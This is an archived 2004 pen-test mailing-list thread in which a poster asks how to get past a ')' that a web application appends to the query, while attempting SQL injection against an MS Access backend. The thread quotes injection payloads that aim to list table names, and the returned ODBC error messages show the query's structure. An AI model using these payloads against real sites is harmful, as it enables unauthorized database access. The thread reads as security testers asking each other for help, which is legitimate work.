Fwd: RE: SQL-Injection escape ')'

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Date: Mon, 5 Jul 2004 00:12:20 -0700 (PDT)
To: pen-test@securityfocus.com

I tried "/" too , nothing new :-/
it`s goeing odd.
while useing the string :
A'\) select name from sysobjects where xtype='U'--

I get the " extra ) " error message wich is correct:

[Microsoft][ODBC Microsoft Access Driver] Extra ) in
query expression 'city_name='Tehran' and
(agency_english ='A'\) select name from sysobjects
where xtype='U'--')'.

and when I try to remove that extra ")" , and bypass
the ')' , problem re-appear :

[Microsoft][ODBC Microsoft Access Driver] Extra ) in
query expression 'city_name='Tehran' and
(agency_english ='A'\) select name from sysobjects
where xtype='U' while ')'=')'.

Still looking for your help.
ANY comment is appriciated.

                
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attached mail follows:

Date: Mon, 5 Jul 2004 07:54:41 +0200
To: "Strcpy" <elite_netbios@yahoo.com>, <pen-test@securityfocus.com>

Hi,

We used to put '\' before using the special-characters. Try this:
A'\) select name from sysobjects where xtype='U'--

-----Original Message-----
From: Strcpy [mailto:elite_netbios@yahoo.com]
Sent: Saturday, July 03, 2004 5:46 PM
To: pen-test@securityfocus.com
Subject: SQL-Injection escape ')'

Hi list .

I`m working on a web-application for vulnerability
assesments in order to complete a pen-test job.

there is a vulnerable query there but I can`t escape
it ad use it to go farther .
the page script add a ')' to end of query string
always.
I tried to pass it by useing # or -- or ')'=')' at the
end of my query strings , but non worked :/

here is an example :
i sent this :
A') select name from sysobjects where xtype='U'--

[Microsoft][ODBC Microsoft Access Driver] Syntax
error. in query expression 'city_name='Tehran' and
(agency_english ='A') select name from sysobjects
where xtype='U'--')'

would you mind please help me ?

[sorry for poor English]

thnq all

                
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